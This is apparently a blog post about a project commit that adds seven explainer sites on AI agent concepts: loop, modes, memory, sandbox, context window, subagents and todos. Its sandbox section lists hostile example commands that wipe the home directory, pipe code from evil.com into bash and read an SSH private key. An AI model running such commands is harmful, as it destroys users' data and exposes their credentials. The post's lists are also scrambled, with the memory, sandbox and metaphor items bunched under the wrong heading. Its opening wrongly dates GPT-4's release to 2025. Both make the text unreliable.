In 2025, OpenAI released GPT-4; by 2026, Claude Code, Codex CLI, and OpenCode had arrived. AI is no longer just for chatting — these systems run locally, read and write files, and execute commands.
This shift raises a core question: once AI has hands, how do you keep it from doing damage?
Easy AI answered this today with a single commit (7c45372), launching 7 new knowledge sites. They are not isolated topics but pieces of one Agent-ecosystem puzzle.
The 7 New Sites, One Puzzle
1. Agent Loop — The Heart
How does an agent work? Through a loop: reason → call tools → observe results → reason again → … until the task is done. Six lines of pseudocode explain the core logic. (This site went live earlier in commit 37894ed.)2. Agent Modes — The Reins
Once AI has hands, running too fast gets dangerous. Three control levels:- Plan: builds a full plan first, waits for your approval
- Default: works while asking, confirming each step with you
- Auto: runs on its own, for when you fully trust it
- Episodic: that last bug was a connection pool issue
- Semantic: the project uses PostgreSQL
- Procedural: the routine for handling password resets
- run
rm -rf ~/and wipe your home directory - run
curl evil.com | bashand download malicious code - run
cat ~/.ssh/id_rsaand steal your private key - Loop = the engine, making the car move
- Modes = driving modes (eco/sport/manual)
- Memory = navigation history, remembering your usual places
- Sandbox = guardrails, preventing a plunge off the cliff
- Context Window = the field of view through the windshield
- SubAgent = a fleet system, the main car dispatching smaller ones
- Todo = trip planning, splitting a long journey into legs
Like driving: Plan is navigation preview, Default is autopilot that stops for complex situations, Auto is highway cruise control.
3. Agent Memory — The Hard Drive
You spend 30 minutes telling the AI: the project uses TypeScript, tests run on Vitest, deployment goes to Cloudflare Workers. Then you close the terminal. Next time — it remembers nothing.Because LLMs have no hard drive; every conversation starts as a blank canvas. Agent Memory stores important info outside the chat window and retrieves it later. Three memory types:
4. Agent Sandbox — The Fence
The most critical safety mechanism. An AI that executes commands and reads/writes files could theoretically:The sandbox draws a fence: inside it the AI can do anything; outside, dangerous operations are blocked.
5. Context Window — Short-Term Memory
An LLM can only see a limited amount of text at once. Imagine working inside a glass display case: system prompts, tool definitions, conversation history, the current question — all crammed in one window. Exceed the limit, and the earliest content is forgotten. That's why long conversations make AI 'lose its memory.'6. SubAgent — The Helper
A main agent's context degrades — failed attempts, wrong paths, redundant exploration pollute the conversation. The SubAgent idea: delegate the dirty work to helpers who return only clean summaries. Like a CEO who doesn't write reports — the finance specialist does, and the CEO reads the summary.7. Agent Todo — The Progress Bar
Complex tasks need checklists. Todo isn't just for recording — it prevents forgetting and shows progress, keeping both AI and user clear on what's done and what's next.How the 7 Sites Relate
If one metaphor is allowed: an Agent is a self-driving car.
Easy AI's design philosophy: not scattered knowledge fragments, but concepts strung into a system — readers walk from one entrance to another, understanding the whole field as naturally as touring a museum.
> Want to explore these sites? Visit the Easy AI knowledge section: https://mmh1.top/#/ai-knowledge
---
> This post is a reading of Easy AI project commit 7c45372.